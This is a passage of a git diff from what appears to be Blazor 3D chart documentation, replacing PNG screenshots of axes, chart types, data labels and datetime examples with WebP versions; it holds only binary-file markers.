diff --git a/blazor/3D-chart/images/category-axis/blazor-chart-axis-range-and-interval.webp b/blazor/3D-chart/images/category-axis/blazor-chart-axis-range-and-interval.webp
new file mode 100644
index 0000000000..4237f6e095
Binary files /dev/null and b/blazor/3D-chart/images/category-axis/blazor-chart-axis-range-and-interval.webp differ
diff --git a/blazor/3D-chart/images/category-axis/blazor-chart-default-axis.png b/blazor/3D-chart/images/category-axis/blazor-chart-default-axis.png
deleted file mode 100644
index 3a7988bb54..0000000000
Binary files a/blazor/3D-chart/images/category-axis/blazor-chart-default-axis.png and /dev/null differ
diff --git a/blazor/3D-chart/images/category-axis/blazor-chart-default-axis.webp b/blazor/3D-chart/images/category-axis/blazor-chart-default-axis.webp
new file mode 100644
index 0000000000..5b2b6285b2
Binary files /dev/null and b/blazor/3D-chart/images/category-axis/blazor-chart-default-axis.webp differ
diff --git a/blazor/3D-chart/images/category-axis/blazor-chart-index-category-axis.png b/blazor/3D-chart/images/category-axis/blazor-chart-index-category-axis.png
deleted file mode 100644
index e4aa425a06..0000000000
Binary files a/blazor/3D-chart/images/category-axis/blazor-chart-index-category-axis.png and /dev/null differ
diff --git a/blazor/3D-chart/images/category-axis/blazor-chart-index-category-axis.webp b/blazor/3D-chart/images/category-axis/blazor-chart-index-category-axis.webp
new file mode 100644
index 0000000000..971f7233f1
Binary files /dev/null and b/blazor/3D-chart/images/category-axis/blazor-chart-index-category-axis.webp differ
diff --git a/blazor/3D-chart/images/category-axis/blazor-diagram-label-position.png b/blazor/3D-chart/images/category-axis/blazor-diagram-label-position.png
deleted file mode 100644
index 961b14f57f..0000000000
Binary files a/blazor/3D-chart/images/category-axis/blazor-diagram-label-position.png and /dev/null differ
diff --git a/blazor/3D-chart/images/category-axis/blazor-diagram-label-position.webp b/blazor/3D-chart/images/category-axis/blazor-diagram-label-position.webp
new file mode 100644
index 0000000000..c536cb486c
Binary files /dev/null and b/blazor/3D-chart/images/category-axis/blazor-diagram-label-position.webp differ
diff --git a/blazor/3D-chart/images/chart-dimensions/blazor-chart-size-for-container.png b/blazor/3D-chart/images/chart-dimensions/blazor-chart-size-for-container.png
deleted file mode 100644
index 7a8b3ba332..0000000000
Binary files a/blazor/3D-chart/images/chart-dimensions/blazor-chart-size-for-container.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-dimensions/blazor-chart-size-for-container.webp b/blazor/3D-chart/images/chart-dimensions/blazor-chart-size-for-container.webp
new file mode 100644
index 0000000000..1496796a50
Binary files /dev/null and b/blazor/3D-chart/images/chart-dimensions/blazor-chart-size-for-container.webp differ
diff --git a/blazor/3D-chart/images/chart-dimensions/blazor-chart-size-in-percentage.png b/blazor/3D-chart/images/chart-dimensions/blazor-chart-size-in-percentage.png
deleted file mode 100644
index ca938b264b..0000000000
Binary files a/blazor/3D-chart/images/chart-dimensions/blazor-chart-size-in-percentage.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-dimensions/blazor-chart-size-in-percentage.webp b/blazor/3D-chart/images/chart-dimensions/blazor-chart-size-in-percentage.webp
new file mode 100644
index 0000000000..fa154b3555
Binary files /dev/null and b/blazor/3D-chart/images/chart-dimensions/blazor-chart-size-in-percentage.webp differ
diff --git a/blazor/3D-chart/images/chart-dimensions/blazor-chart-size-in-pixel.png b/blazor/3D-chart/images/chart-dimensions/blazor-chart-size-in-pixel.png
deleted file mode 100644
index b2d2278f26..0000000000
Binary files a/blazor/3D-chart/images/chart-dimensions/blazor-chart-size-in-pixel.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-dimensions/blazor-chart-size-in-pixel.webp b/blazor/3D-chart/images/chart-dimensions/blazor-chart-size-in-pixel.webp
new file mode 100644
index 0000000000..47aaf485f0
Binary files /dev/null and b/blazor/3D-chart/images/chart-dimensions/blazor-chart-size-in-pixel.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-bar-chart-custom-series.png b/blazor/3D-chart/images/chart-types-images/blazor-bar-chart-custom-series.png
deleted file mode 100644
index 50fd25cb5b..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-bar-chart-custom-series.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-bar-chart-custom-series.webp b/blazor/3D-chart/images/chart-types-images/blazor-bar-chart-custom-series.webp
new file mode 100644
index 0000000000..a9c3a08ffd
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-bar-chart-custom-series.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-bar-chart-space-and-width.png b/blazor/3D-chart/images/chart-types-images/blazor-bar-chart-space-and-width.png
deleted file mode 100644
index b29fac2289..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-bar-chart-space-and-width.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-bar-chart-space-and-width.webp b/blazor/3D-chart/images/chart-types-images/blazor-bar-chart-space-and-width.webp
new file mode 100644
index 0000000000..2437c1c70e
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-bar-chart-space-and-width.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-bar-chart.png b/blazor/3D-chart/images/chart-types-images/blazor-bar-chart.png
deleted file mode 100644
index 2993509fcd..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-bar-chart.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-bar-chart.webp b/blazor/3D-chart/images/chart-types-images/blazor-bar-chart.webp
new file mode 100644
index 0000000000..4eab55f482
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-bar-chart.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-column-chart-custom-series.png b/blazor/3D-chart/images/chart-types-images/blazor-column-chart-custom-series.png
deleted file mode 100644
index 62d477fd74..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-column-chart-custom-series.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-column-chart-custom-series.webp b/blazor/3D-chart/images/chart-types-images/blazor-column-chart-custom-series.webp
new file mode 100644
index 0000000000..4b74c67e3a
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-column-chart-custom-series.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-column-chart-grouped-bar.png b/blazor/3D-chart/images/chart-types-images/blazor-column-chart-grouped-bar.png
deleted file mode 100644
index eeaa2e7558..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-column-chart-grouped-bar.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-column-chart-grouped-bar.webp b/blazor/3D-chart/images/chart-types-images/blazor-column-chart-grouped-bar.webp
new file mode 100644
index 0000000000..a5dc32d865
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-column-chart-grouped-bar.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-column-chart-grouped-column.png b/blazor/3D-chart/images/chart-types-images/blazor-column-chart-grouped-column.png
deleted file mode 100644
index 4d1a818894..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-column-chart-grouped-column.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-column-chart-grouped-column.webp b/blazor/3D-chart/images/chart-types-images/blazor-column-chart-grouped-column.webp
new file mode 100644
index 0000000000..a765d8077a
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-column-chart-grouped-column.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-column-chart-space-and-width.png b/blazor/3D-chart/images/chart-types-images/blazor-column-chart-space-and-width.png
deleted file mode 100644
index 5539fbe1e1..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-column-chart-space-and-width.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-column-chart-space-and-width.webp b/blazor/3D-chart/images/chart-types-images/blazor-column-chart-space-and-width.webp
new file mode 100644
index 0000000000..24f4680a84
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-column-chart-space-and-width.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-column-chart.png b/blazor/3D-chart/images/chart-types-images/blazor-column-chart.png
deleted file mode 100644
index 2f94433fdb..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-column-chart.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-column-chart.webp b/blazor/3D-chart/images/chart-types-images/blazor-column-chart.webp
new file mode 100644
index 0000000000..50e6adca98
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-column-chart.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-bar-chart.png b/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-bar-chart.png
deleted file mode 100644
index 135bb6cfcb..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-bar-chart.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-bar-chart.webp b/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-bar-chart.webp
new file mode 100644
index 0000000000..32f0805739
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-bar-chart.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-column-chart.png b/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-column-chart.png
deleted file mode 100644
index 903f367534..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-column-chart.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-column-chart.webp b/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-column-chart.webp
new file mode 100644
index 0000000000..71901b66ba
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-column-chart.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-bar-100-chart.png b/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-bar-100-chart.png
deleted file mode 100644
index 2584b32ed6..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-bar-100-chart.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-bar-100-chart.webp b/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-bar-100-chart.webp
new file mode 100644
index 0000000000..0004ce231b
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-bar-100-chart.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-bar-chart.png b/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-bar-chart.png
deleted file mode 100644
index 64d5f06eec..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-bar-chart.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-bar-chart.webp b/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-bar-chart.webp
new file mode 100644
index 0000000000..032babf221
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-bar-chart.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-column-100-chart.png b/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-column-100-chart.png
deleted file mode 100644
index 251e8c4f58..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-column-100-chart.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-column-100-chart.webp b/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-column-100-chart.webp
new file mode 100644
index 0000000000..ab3bf3c6fa
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-column-100-chart.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-column-chart.png b/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-column-chart.png
deleted file mode 100644
index c54ba5c4e9..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-column-chart.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-column-chart.webp b/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-column-chart.webp
new file mode 100644
index 0000000000..56fe5ed6ce
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-cylindricaal-stacked-column-chart.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-Bar-chart.png b/blazor/3D-chart/images/chart-types-images/blazor-stacked-Bar-chart.png
deleted file mode 100644
index 77d8194759..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-stacked-Bar-chart.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-Bar-chart.webp b/blazor/3D-chart/images/chart-types-images/blazor-stacked-Bar-chart.webp
new file mode 100644
index 0000000000..6d1ded9102
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-stacked-Bar-chart.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-100-chart-custom-series.png b/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-100-chart-custom-series.png
deleted file mode 100644
index 4db1242727..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-100-chart-custom-series.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-100-chart-custom-series.webp b/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-100-chart-custom-series.webp
new file mode 100644
index 0000000000..d09922b378
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-100-chart-custom-series.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-100-chart.png b/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-100-chart.png
deleted file mode 100644
index dfa4ce6006..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-100-chart.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-100-chart.webp b/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-100-chart.webp
new file mode 100644
index 0000000000..1414d3d7e6
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-100-chart.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-chart-custom-series.png b/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-chart-custom-series.png
deleted file mode 100644
index f5d9c294ac..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-chart-custom-series.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-chart-custom-series.webp b/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-chart-custom-series.webp
new file mode 100644
index 0000000000..15db0c94c9
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-chart-custom-series.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-chart-with-grouping.png b/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-chart-with-grouping.png
deleted file mode 100644
index 5aa1755ca4..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-chart-with-grouping.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-chart-with-grouping.webp b/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-chart-with-grouping.webp
new file mode 100644
index 0000000000..3184d77935
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-stacked-bar-chart-with-grouping.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-colum-chart-with-grouping.png b/blazor/3D-chart/images/chart-types-images/blazor-stacked-colum-chart-with-grouping.png
deleted file mode 100644
index b7156b62d5..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-stacked-colum-chart-with-grouping.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-colum-chart-with-grouping.webp b/blazor/3D-chart/images/chart-types-images/blazor-stacked-colum-chart-with-grouping.webp
new file mode 100644
index 0000000000..de2d29d331
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-stacked-colum-chart-with-grouping.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-100-chart-custom-series.png b/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-100-chart-custom-series.png
deleted file mode 100644
index a34c5d0d98..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-100-chart-custom-series.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-100-chart-custom-series.webp b/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-100-chart-custom-series.webp
new file mode 100644
index 0000000000..665b41662e
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-100-chart-custom-series.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-100-chart.png b/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-100-chart.png
deleted file mode 100644
index f5eb9575e6..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-100-chart.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-100-chart.webp b/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-100-chart.webp
new file mode 100644
index 0000000000..6e71cde348
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-100-chart.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-chart-custom-series.png b/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-chart-custom-series.png
deleted file mode 100644
index 0de430ca77..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-chart-custom-series.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-chart-custom-series.webp b/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-chart-custom-series.webp
new file mode 100644
index 0000000000..522e4a744e
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-chart-custom-series.webp differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-chart.png b/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-chart.png
deleted file mode 100644
index 50bd765370..0000000000
Binary files a/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-chart.png and /dev/null differ
diff --git a/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-chart.webp b/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-chart.webp
new file mode 100644
index 0000000000..6aa97a86fa
Binary files /dev/null and b/blazor/3D-chart/images/chart-types-images/blazor-stacked-column-chart.webp differ
diff --git a/blazor/3D-chart/images/data-label/blazor-chart-custom-label.png b/blazor/3D-chart/images/data-label/blazor-chart-custom-label.png
deleted file mode 100644
index 6fb7588b30..0000000000
Binary files a/blazor/3D-chart/images/data-label/blazor-chart-custom-label.png and /dev/null differ
diff --git a/blazor/3D-chart/images/data-label/blazor-chart-custom-label.webp b/blazor/3D-chart/images/data-label/blazor-chart-custom-label.webp
new file mode 100644
index 0000000000..7ad280115c
Binary files /dev/null and b/blazor/3D-chart/images/data-label/blazor-chart-custom-label.webp differ
diff --git a/blazor/3D-chart/images/data-label/blazor-chart-custom-specific-label.png b/blazor/3D-chart/images/data-label/blazor-chart-custom-specific-label.png
deleted file mode 100644
index db7c551c1d..0000000000
Binary files a/blazor/3D-chart/images/data-label/blazor-chart-custom-specific-label.png and /dev/null differ
diff --git a/blazor/3D-chart/images/data-label/blazor-chart-custom-specific-label.webp b/blazor/3D-chart/images/data-label/blazor-chart-custom-specific-label.webp
new file mode 100644
index 0000000000..e91ed754ec
Binary files /dev/null and b/blazor/3D-chart/images/data-label/blazor-chart-custom-specific-label.webp differ
diff --git a/blazor/3D-chart/images/data-label/blazor-chart-data-label.png b/blazor/3D-chart/images/data-label/blazor-chart-data-label.png
deleted file mode 100644
index 1e10279904..0000000000
Binary files a/blazor/3D-chart/images/data-label/blazor-chart-data-label.png and /dev/null differ
diff --git a/blazor/3D-chart/images/data-label/blazor-chart-data-label.webp b/blazor/3D-chart/images/data-label/blazor-chart-data-label.webp
new file mode 100644
index 0000000000..0d8ea9b600
Binary files /dev/null and b/blazor/3D-chart/images/data-label/blazor-chart-data-label.webp differ
diff --git a/blazor/3D-chart/images/data-label/blazor-chart-datalabel-template.png b/blazor/3D-chart/images/data-label/blazor-chart-datalabel-template.png
deleted file mode 100644
index 643f9d58de..0000000000
Binary files a/blazor/3D-chart/images/data-label/blazor-chart-datalabel-template.png and /dev/null differ
diff --git a/blazor/3D-chart/images/data-label/blazor-chart-datalabel-template.webp b/blazor/3D-chart/images/data-label/blazor-chart-datalabel-template.webp
new file mode 100644
index 0000000000..29de124143
Binary files /dev/null and b/blazor/3D-chart/images/data-label/blazor-chart-datalabel-template.webp differ
diff --git a/blazor/3D-chart/images/data-label/blazor-chart-label-position.png b/blazor/3D-chart/images/data-label/blazor-chart-label-position.png
deleted file mode 100644
index 51893dd425..0000000000
Binary files a/blazor/3D-chart/images/data-label/blazor-chart-label-position.png and /dev/null differ
diff --git a/blazor/3D-chart/images/data-label/blazor-chart-label-position.webp b/blazor/3D-chart/images/data-label/blazor-chart-label-position.webp
new file mode 100644
index 0000000000..773ba7bc5b
Binary files /dev/null and b/blazor/3D-chart/images/data-label/blazor-chart-label-position.webp differ
diff --git a/blazor/3D-chart/images/data-label/blazor-chart-label-with-format.png b/blazor/3D-chart/images/data-label/blazor-chart-label-with-format.png
deleted file mode 100644
index c2efd21b10..0000000000
Binary files a/blazor/3D-chart/images/data-label/blazor-chart-label-with-format.png and /dev/null differ
diff --git a/blazor/3D-chart/images/data-label/blazor-chart-label-with-format.webp b/blazor/3D-chart/images/data-label/blazor-chart-label-with-format.webp
new file mode 100644
index 0000000000..209ae8cd0a
Binary files /dev/null and b/blazor/3D-chart/images/data-label/blazor-chart-label-with-format.webp differ
diff --git a/blazor/3D-chart/images/data-label/blazor-chart-label-with-margin.png b/blazor/3D-chart/images/data-label/blazor-chart-label-with-margin.png
deleted file mode 100644
index de105f8bdc..0000000000
Binary files a/blazor/3D-chart/images/data-label/blazor-chart-label-with-margin.png and /dev/null differ
diff --git a/blazor/3D-chart/images/data-label/blazor-chart-label-with-margin.webp b/blazor/3D-chart/images/data-label/blazor-chart-label-with-margin.webp
new file mode 100644
index 0000000000..fb73b37bd0
Binary files /dev/null and b/blazor/3D-chart/images/data-label/blazor-chart-label-with-margin.webp differ
diff --git a/blazor/3D-chart/images/data-label/blazor-chart-label-with-text-mapping.png b/blazor/3D-chart/images/data-label/blazor-chart-label-with-text-mapping.png
deleted file mode 100644
index d8d5954ef5..0000000000
Binary files a/blazor/3D-chart/images/data-label/blazor-chart-label-with-text-mapping.png and /dev/null differ
diff --git a/blazor/3D-chart/images/data-label/blazor-chart-label-with-text-mapping.webp b/blazor/3D-chart/images/data-label/blazor-chart-label-with-text-mapping.webp
new file mode 100644
index 0000000000..7da07bfd05
Binary files /dev/null and b/blazor/3D-chart/images/data-label/blazor-chart-label-with-text-mapping.webp differ
diff --git a/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-interval.png b/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-interval.png
deleted file mode 100644
index 43b85d670f..0000000000
Binary files a/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-interval.png and /dev/null differ
diff --git a/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-interval.webp b/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-interval.webp
new file mode 100644
index 0000000000..6a8edaa099
Binary files /dev/null and b/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-interval.webp differ
diff --git a/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range-additional.png b/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range-additional.png
deleted file mode 100644
index d080def247..0000000000
Binary files a/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range-additional.png and /dev/null differ
diff --git a/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range-additional.webp b/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range-additional.webp
new file mode 100644
index 0000000000..f8d74ca96f
Binary files /dev/null and b/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range-additional.webp differ
diff --git a/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range-none.png b/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range-none.png
deleted file mode 100644
index 4ea5954bd8..0000000000
Binary files a/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range-none.png and /dev/null differ
diff --git a/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range-none.webp b/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range-none.webp
new file mode 100644
index 0000000000..140ac64158
Binary files /dev/null and b/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range-none.webp differ
diff --git a/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range-round.png b/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range-round.png
deleted file mode 100644
index 12ba4dfa2a..0000000000
Binary files a/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range-round.png and /dev/null differ
diff --git a/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range-round.webp b/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range-round.webp
new file mode 100644
index 0000000000..459d2ff2c0
Binary files /dev/null and b/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range-round.webp differ
diff --git a/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range.png b/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range.png
deleted file mode 100644
index a58e6de54c..0000000000
Binary files a/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range.png and /dev/null differ
diff --git a/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range.webp b/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range.webp
new file mode 100644
index 0000000000..5593d93872
Binary files /dev/null and b/blazor/3D-chart/images/datetime/blazor-column-chart-axis-based-on-range.webp differ
diff --git a/blazor/3D-chart/images/datetime/blazor-column-chart-axis-label-format.png b/blazor/3D-chart/images/datetime/blazor-column-chart-axis-label-format.png
deleted file mode 100644
index 93435fb627..0000000000
Binary files a/blazor/3D-chart/images/datetime/blazor-column-chart-axis-label-format.png and /dev/null differ
diff --git a/blazor/3D-chart/images/datetime/blazor-column-chart-axis-label-format.webp b/blazor/3D-chart/images/datetime/blazor-column-chart-axis-label-format.webp
new file mode 100644
index 0000000000..be1d2eaed9
Binary files /dev/null and b/blazor/3D-chart/images/datetime/blazor-column-chart-axis-label-format.webp differ
diff --git a/blazor/3D-chart/images/datetime/blazor-column-chart-datetime-axis.png b/blazor/3D-chart/images/datetime/blazor-column-chart-datetime-axis.png
deleted file mode 100644
index eeffdc9ed2..0000000000
Binary files a/blazor/3D-chart/images/datetime/blazor-column-chart-datetime-axis.png and /dev/null differ
diff --git a/blazor/3D-chart/images/datetime/blazor-column-chart-datetime-axis.webp b/blazor/3D-chart/images/datetime/blazor-column-chart-datetime-axis.webp
new file mode 100644
index 0000000000..1d3c06feb1
Binary files /dev/null and b/blazor/3D-chart/images/datetime/blazor-column-chart-datetime-axis.webp differ
diff --git a/blazor/3D-chart/images/datetime/blazor-column-chart-with-datetime-axis.png b/blazor/3D-chart/images/datetime/blazor-column-chart-with-datetime-axis.png
deleted file mode 100644
index 2c31f7b4d1..0000000000
Binary files a/blazor/3D-chart/images/datetime/blazor-column-chart-with-datetime-axis.png and /dev/null differ
diff --git a/blazor/3D-chart/images/datetime/blazor-column-chart-with-datetime-axis.webp b/blazor/3D-chart/images/datetime/blazor-column-chart-with-datetime-axis.webp
new file mode 100644
index 0000000000..a14a9f7152
Binary files /dev/null and b/blazor/3D-chart/images/datetime/blazor-column-chart-with-datetime-axis.webp differ
diff --git a/blazor/3D-chart/images/getting-started/blazor-chart-column.png b/blazor/3D-chart/images/getting-started/blazor-chart-column.png
deleted file mode 100644
index 53e08dc61b..0000000000
Binary files a/blazor/3D-chart/images/getting-started/blazor-chart-column.png and /dev/null differ
diff --git a/blazor/3D-chart/images/getting-started/blazor-chart-column.webp b/blazor/3D-chart/images/getting-started/blazor-chart-column.webp
new file mode 100644
index 0000000000..c4514b3ee5
Binary files /dev/null and b/blazor/3D-chart/images/getting-started/blazor-chart-column.webp differ
diff --git a/blazor/3D-chart/images/getting-started/blazor-chart-data-label.png b/blazor/3D-chart/images/getting-started/blazor-chart-data-label.png
deleted file mode 100644
index 6c6f9d26f7..0000000000
Binary files a/blazor/3D-chart/images/getting-started/blazor-chart-data-label.png and /dev/null differ
diff --git a/blazor/3D-chart/images/getting-started/blazor-chart-data-label.webp b/blazor/3D-chart/images/getting-started/blazor-chart-data-label.webp
new file mode 100644
index 0000000000..3b4e28d947
Binary files /dev/null and b/blazor/3D-chart/images/getting-started/blazor-chart-data-label.webp differ
diff --git a/blazor/3D-chart/images/getting-started/blazor-chart-exporting.png b/blazor/3D-chart/images/getting-started/blazor-chart-exporting.png
deleted file mode 100644
index 731e26d0e5..0000000000
